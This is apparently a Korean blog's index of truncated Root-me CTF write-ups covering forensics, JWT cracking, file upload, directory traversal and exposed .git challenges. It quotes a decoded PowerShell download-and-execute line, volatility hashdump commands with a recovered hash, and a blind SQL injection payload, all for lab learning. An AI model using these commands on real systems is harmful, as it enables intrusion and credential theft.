WriteUp/Root-me.org

    [Root-me] : Command & Control - level 3

    [Root-me] : Command & Control - level 3

    malware 를 찾아야 한다고 한다. malware 는 무엇일지 알아보자 "일반적인 프로그램 동일한 프로그램이나 사용자 의지와 상관 없이 시스템을 파괴하거나정보를 유출하는 등의 악의적인 활동을 수행하도록 의도적으로 제작된 소프트웨어" 그럼 의도치 않게 실행되는 아이를 찾아보면 되겠다. 역시 volatility 를 이용해서 찾아보도록 하자. 먼저 imageinfo를 확인해 준다. 사용할 profile 은 Win7SP1x86_23418 이다. 이제 pslist를 이용해서 사용된 프로세스들의 흔적을 찾아보자. 뭐가 많이 나오지만, 지금 우리가 이걸 보고 바로 malware를 판단하기는 힘들 수도 있다. malware는 자동으로 실행될 확률이 있기 때문에 자동으로 돌아가는 프로세스들을 의심해 보았으나, aut..

    [Root-me] : Active Directory - GPO

    [Root-me] : Active Directory - GPO

    Active Directory GPO 에 대해서 알아보았다. GPO란 Group Policy 에 대한 것으로, Admin이 그 하위 컴퓨터들을 관리하는 옵션이다. Active Directory 는 위의 정보를 저장하고 있는 DB 정도로 생각하면 되겠다. 그럼 이런 정책을 관리하는 중에 pw가 유출 될 수 있는 것 같다. wireshark 로 파일을 분석하던 중 집중해서 볼 만한 것을 찾았다. 이렇게 다른 기기에 대해서 Policy를 다루는 행위를 SMB2 패킷에서 볼 수 있었다. SMB2 패킷들을 본 결과 비밀번호가 내용으로 전달되지는 않는 것으로 확인했다. 또 패킷들이 파일을 생성 전달하는 것으로 보아 파일의 형태로 비밀번호가 전달될 수도 있기 때문에 추출 가능한 파일이있나 찾아보았다., 각 파일들에 ..

    [Root-me] : Ugly Duckling

    [Root-me] : Ugly Duckling

    한참을 고민하다 알아낸 것은 해당 바이너리 파일이 형식이 있다는 것이었다. 이렇게 생겨먹은 아이인데, duck script 를 이용해서 코드를 실행한다고 하니 복호화를 해보도록 하자. ducktoolkit.com/decode# 에서 파일을 넣고 output을 받았다. 요런 이미지를 뜨게 하고, 특정 행동을 하도록 설계된 것이었따. 모든 행동을 본 결과 마지막으로 powershell로 무언가를 실행하는데, 암호화가 되어있었다. baset64로 디코딩해보니 결과가 나왔는데 다음과 같다. iex (New-Object System.Net.WebClient).DownloadFile('http://challenge01.root-me.org/forensic/ch14/files/666c61676765643f.exe',..

    [Root-me] : Find the cat

    [Root-me] : Find the cat

    먼저 이미지 파일을 FTK imager로 보자. 해당 경로들 내용을 한번씩 다 본 결과, Files 경로에 우리가 필요한게 들어있었다. 지워져있는 revendications.odt 파일이다. 해당 파일을 export 해서 보면 워드 파일이 하나가 나오는데, 사진과 함께 협박 메시지가 써있다. 해당 사진의 EXIF 정보를 통해서 범인의 위치를 알고 싶었다. 그러기 위해서는 metadata 부분을 살려야 하는데, hxd 부분에서 image를 카빙해도 되지만, 확장자를 zip 파일로 변환해도 괜찮다. 이미지 정보를 얻었다. 고도정보는 필요 없으니, exif 에 맞게 위치를 변환해서 위치정보를 구글링해보자. flag : helfrantzkirch

    [Root-me] : Command & Control - level 5

    [Root-me] : Command & Control - level 5

    비밀번호 추출 volatility 이용 1. image 에서 memory profile 추출 volatility imageinfo -f ch2.dmp 2. image 에서 registry hive 추출 volatility -f ch2.dmp hivelist --profile=Win7SP1x86_23418 3. 해시값 추출. (SYSTEM & SAM) volatility -f ch2.dmp --profile=Win7SP1x86_23418 hashdump -y 0x8b21c008 -s 0x9aad6148 >hashes.txt md5 해시인 것으로 추정. -> John 의 pw를 찾아야 하므로, b9f917853e3dbf6e6831ecce60725930 가 그의 pw 이다. crackstation을 이용해서 ..

    [Root-me] : Logs analysis - web attack

    일단 파일에서 order 값이 injection 값인거 같다. base64로 인코딩 된 것 같으니 디코딩 해주자. def base64ToString(b): return base64.b64decode(b).decode('utf-8') ASC, (select (case field(concat(substring(bin(ascii(substring(password,1,1))),1,1),substring(bin(ascii(substring(password,2,1))),2,1)), concat(char(48),char(48)),concat(char(48),char(49)),concat(char(49),char(48)),concat(char(49),char(49)) when 1 then TRUE when 2 then..

    JSON Web Token (JWT) - Weak secret

    JSON Web Token (JWT) - Weak secret

    JWT 토큰 문제다. 이전에 다른 사이트에서도 다뤘던 적이 있는 문젠데. 문제 제목을 보아하니, secret key 값이 쉬운 값인가보다. 일단 토큰을 해석해보자. 이제 role 의 값은 admin으로 수정해서 올려주면 되겠다. 사실 그전에 토큰의 비밀값을 찾아줘야 하는데, 여기서는 jwtcat 라는 툴을 사용했다. 다운로드는 알아서 받아보시고...! 바로 진행하겠다. vared@DESKTOP-SGQOMCP:jwtcat$ optional arguments: -h, --help show this help message and exit -c CHARSET, --charset CHARSET User-defined charset (default: abcdefghijklmnopqrstuvwxyzABCDEFGHIJ..

    Root-me : File upload - Null byte

    Root-me : File upload - Null byte

    느낌상 웹쉘을 올려야 하는 문제인 것 같다. NB : only GIF, JPEG or PNG are accepted 다음과 같은 필터링이 있기 때문에, 다음과 같이 이름을 수정해서 올려주면 된다. 찾으라는 문구가 있을줄 알았는데 바로 패스워드가 있다. Clear!

    Root me : Directory traversal

    Root me : Directory traversal

    이전 문제에서 살짝 봤던 Directory Traversal 문제다. photo gallery 의 hidden section 을 찾아야 한다. 먼저 문제를 보면. 이런 방식으로 다뤄진다. galerie = "경로" 를 입력해주는 방식인가 보다. 이제 숨겨진 것을 찾기 위해서 galerie 값에 경로들을 입력해주면 된다. 아무 입력값도 주지 않았는데 이렇게 나왔다. 86hwnX2r가 숨겨진 디렉토리 인가보다. 들어가보니 비밀번호 파일이 있다. 이건 인텐이 아닌것 같고, 원래는 DotDotpwn 이라는 툴을 이용해서 해야 하는 것으로 알고 있다. 다음과 같이 이용하면 된다. 근데 너무 오래걸리니까 뭐 생략하고 위에 풀이로 가자. Clear!

    Rootme : Insecure Code Management

    Rootme : Insecure Code Management

    문제를 보면 생각보다 별건 없다. 다른 지정된 입력값이 있는 것도 아니고, (guest/guest or admin/admin) 인젝션이 되는것도 아니다. 그래서 문제 지문의 documentation 을 보았다. git 에 대한 거더라. 여기서 File Directory Traversal 문제가 된다. 흔히 이제 git을 사용해보면 clone 된 repository가 다음과 같이 생성이 된다. 여기 생기는 저 .git 을 통해서 내용을 보는 것이다. 한번 해보자. 뭔가가 나왔다. 여기 있는 파일들을 잘 보자. 보통 이런 정보는 로그에 기록으로 남으니까 log 를 보자. HEAD 파일이 존재하고 다음과 같은 내용이 있다. 커밋 내용이 적혀 있는데, 이제 비밀번호를 바꾼 커밋이 있으니 해당 부분을 보면 되겠다..